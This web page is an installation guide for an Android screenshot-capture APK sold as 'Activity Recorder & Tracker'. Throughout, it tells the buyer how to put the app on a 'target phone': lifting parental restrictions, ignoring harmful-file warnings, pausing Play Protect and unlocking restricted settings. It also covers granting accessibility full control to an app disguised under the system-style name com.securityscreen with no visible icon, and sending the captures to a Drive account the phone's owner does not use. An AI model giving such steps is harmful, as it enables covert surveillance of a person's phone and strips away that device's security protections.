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Installation Guide

Step-by-step instructions for Activity Recorder & Tracker

Read this page fully before you start. If you follow every step, installation usually takes about 5 minutes.

Before you start

  • Have your 13-digit activation code ready before installing. After payment, the code is sent by email. The easiest method is to send that code to the target phone by message, then copy and paste it during activation.
  • Temporarily remove parental / device restrictions if the phone is managed by Google Family Link or a similar control app.
  • Create a new Google account for Google Drive sync (recommended). Know the password in advance so you are not searching for it during setup.
  • Allow “Install unknown apps” on the target device: Settings → Special app access → Install unknown apps (wording can vary by phone).

Screens may look slightly different depending on the phone brand and Android version. The buttons and actions stay the same in meaning.

Step 1: Download the APK file

Open the Download page

  1. On the target phone, open the Download page of this website.
  2. Tap Download APK.

Use the Download APK button

Website download page with Download APK button

Open the completed download

Android download complete notification for the APK file
  1. When the download finishes, open the notification (or open your Downloads folder).
  2. Tap the APK file to start installation.

Tap the finished download / Install

Open Download page

Step 2: Install the APK

Android often warns that the file may be harmful. This is common for apps installed outside Play Store. Continue carefully using the steps below.

Ignore the harmful-file warning

  1. If Android says the file may be harmful, tap Download anyway / continue.

Tap Download anyway

Android warning that the APK may be harmful

Confirm Install

Android install this app confirmation dialog
  1. On the “Install this app?” screen, tap Install.

Tap Install

If Play Protect blocks the app

  1. If you see App blocked to protect your device, tap OK.
  2. Open the Play Store app.

Tap OK, then open Play Store

Play Protect app blocked message

Open your Play Store profile

Google Play Store home screen with profile icon highlighted
  1. In Play Store, tap your profile picture (top right).

Tap the profile icon

Open Play Protect

  1. Tap Play Protect.

Tap Play Protect

Play Store account menu with Play Protect option

Open Play Protect settings

Play Protect screen with settings gear
  1. Tap the hexagonal Settings icon.

Tap the settings icon

Pause Play Protect scanning

  1. Turn off Scan apps with Play Protect.
  2. When asked, choose Pause.

Note: You can turn Play Protect back on later if you want. Pausing is only needed so this APK can install.

Turn off scanning, then Pause

Play Protect settings with scan apps toggle

Install again from Files

Android Files app showing the downloaded APK
  1. Open Files / File Manager.
  2. Go to Downloads.
  3. Tap app-v1.0.apk.
  4. Return to the Install screen and tap Install again. This time installation should complete.

Open the APK from Downloads

Step 3: Open the installed app

The app does not appear like a normal icon in the app drawer. Open it from Settings → Apps.

Open phone Settings

  1. Open Settings on the phone.
  2. Tap Apps.

Settings → Apps

Android Settings screen with Apps option

See all apps

Apps settings screen with See all apps
  1. Tap See all apps (or your phone’s equivalent).

Tap See all apps

Find com.securityscreen

  1. Find the app named com.securityscreen (system-style icon).
  2. Tap it.

Select com.securityscreen

App info screen for com.securityscreen

Open the app

com.securityscreen app opening to activation
  1. Tap the Additional Settings in the app. Note that on different devices it may look different.
  2. The activation screen should appear.

Open the app

Step 4: App activation

Activation screen

You should now see the activation screen asking for the 13-digit code.

Activation screen

App activation screen for entering the 13-digit code

Copy the code from email

Email containing the 13-digit activation code
  1. Open the payment / activation email or the message you sent the code on the target phone.
  2. Copy the 13-digit activation code carefully.

Tip: Paste the code — do not type it by hand if possible.

Copy the code

Paste the code

  1. Paste the code into the first cell on the activation screen.
  2. Submit / confirm activation.

Paste into the first box

Activation screen with pasted code

Continue to permissions

Grant monitoring permissions continue screen
  1. After a successful activation, you will see Grant monitoring permissions.
  2. Tap Continue.

Tap Continue

Step 5: Grant required permissions

Do these in order. On many phones, “Display over other apps” is blocked until you allow restricted settings.

Important: Start with Display over other apps first. If the toggle is locked, follow the “Allow restricted settings” path below, then return and enable every permission.

Permissions list

You will see the permissions screen. Start with Display over other apps / Draw over apps.

Open Display over other apps

App permissions list screen

Open Display over other apps

Display over other apps settings list
  1. Tap Display over other apps.
  2. Select com.securityscreen in the list.

Select com.securityscreen

Try enabling the toggle

  1. Try turning on Allow display over other apps.
  2. If Android blocks it, you will see a denial message — continue to the next screens.

Toggle may be blocked at first

Allow display over other apps toggle screen
Android message denying restricted setting

If you see a restriction / denial message, go back to the app’s App info page.

Denial message — continue below

Allow restricted settings

  1. On the com.securityscreen App info page, tap the ⋮ menu (top right).
  2. Tap Allow restricted settings.
  3. Confirm with your phone PIN / password / biometrics.

On some devices this menu label is slightly different, but the meaning is the same.

⋮ → Allow restricted settings

App info menu with Allow restricted settings

Restricted settings allowed

Confirmation that restricted settings are allowed

You should see confirmation that the app can now use restricted settings.

Confirmation shown

Enable Display over other apps

  1. Return to the app permissions flow.
  2. Open Display over other apps again and turn the toggle ON. It should work now.

Toggle ON successfully

Display over other apps enabled successfully

Enable Accessibility

Accessibility downloaded apps list
  1. Back on the permissions list, open Accessibility.
  2. Select com.securityscreen from the list.

Open Accessibility → select the app

Allow full control / accessibility

  1. Turn on Use com.securityscreen.
  2. On the system warning, tap Allow.
  3. Some phones show a short timer before Allow becomes available — wait for it, then tap Allow.

Do not change other accessibility options. Only enable what this setup asks for.

Tap Allow

Android accessibility full control allow dialog

Confirm Accessibility is ON

When successful, the accessibility switch for the app is ON, similar to the screen below. The settings on this screen should look as shown in the screenshot.

Accessibility enabled

Accessibility service enabled for com.securityscreen

Allow run in background

  1. Open the remaining permission for background / battery optimization.
  2. When asked Let app always run in background?, tap Allow.

Tap Allow

Dialog asking to let the app run in the background

You should reach the main menu

App main menu after permissions are granted

After permissions are granted, you land on the main / start services screen.

Note: Exact screens can differ by Android 11–17, but the permission goals stay the same.

Main menu ready

Step 6: Configure capture settings & Google Drive

You can tap “Tap to start service” immediately, but we recommend configuring mode, Google Drive, and screenshot options first.

Choose App mode

  1. From the main menu, open settings (hexagon / gear).
  2. Open App mode.
  3. Select Screenshot (this version captures screenshots; video is coming later).

Select Screenshot mode

App mode screen with Screenshot selected

Choose recording type

Recording type selection screen

There are two recording types:

  • On-screen lockup: captures while the screen is active, across apps.
  • In-app only: captures only inside apps you select.

Pick the recording type

If you choose In-app only

  1. Select the apps that should be monitored.
  2. Confirm your selection.

Select apps, then Confirm

Select apps screen for in-app monitoring

Connect Google Drive

Google Drive connection screen in the app
  1. Tap Connect to Google Drive.
  2. Use your Google account (preferably a new one created for this). Do not use the phone owner’s personal account if you need private access to the files.

Connect Google Drive

Choose or add the account

  1. Choose an existing account, or tap Add another account.

Choose / add account

Google account picker with Add another account

Allow Drive file access

Google permission screen with Drive access checkbox highlighted

Critical: On the Google permission screen, enable See, edit, create, and delete only the specific Google Drive files that you use with this app. If this box is not checked, screenshots will not upload.

Check the Drive permission box, then Continue

Confirm Drive is connected

When successful, you should see your Google Drive account details and upload folder (for example AR-Tracker).

Drive connected

Google Drive successfully connected in the app

Optional: Screenshots settings

Screenshots settings for resolution quality and interval

Adjust resolution, quality, and capture interval if needed. Details are also explained on the About App page.

Optional screenshot settings

Optional: Sending settings

  • Automatic upload: send captures when ready
  • Wi‑Fi only: avoid mobile data usage
  • Upload folder: confirm the Drive folder

Optional sending settings

Sending settings with automatic upload and Wi-Fi only

Start the service

Main screen showing the monitoring service started
  1. Return to the main screen.
  2. Tap Tap to start service.
  3. The app begins taking screenshots according to your settings.

Done. Keep the activation email and code safe. Do not share the code.

Tap to start service

Verify everything is working

Check the service

  • Open the app again from Settings → Apps → com.securityscreen
  • Confirm the service is running (start/stop control shows active state)
  • Confirm permissions show as granted

Check Google Drive

  • Use the phone normally for a few minutes
  • Open the connected Google Drive account
  • Look for the app upload folder (for example AR-Tracker)
  • New screenshots should appear after upload (Wi‑Fi timing can vary)

Common installation issues

Play Protect keeps blocking the APK

  • Pause Play Protect scanning (Step 2), then install again from Files → Downloads
  • Re-download the APK if the file looks incomplete

“Display over other apps” toggle is locked

  • Open App info → ⋮ → Allow restricted settings, unlock with PIN, then try the toggle again

Activation code not accepted

  • Copy/paste the 13-digit code from email — avoid typing mistakes
  • Confirm you are using the code from the latest successful payment email

No screenshots in Google Drive

  • Confirm the Drive permission checkbox was enabled during Google sign-in
  • Confirm Automatic upload is on, and check Wi‑Fi only settings
  • Confirm the service was started from the main screen

Next steps

About the app

Learn how capture modes, triggers, and Drive sync work.

Download page

Need the APK again? Download the latest file and keep your activation code ready.

Installation complete

Activity Recorder & Tracker is set up. After you start the service, screenshots sync to your Google Drive based on your settings.

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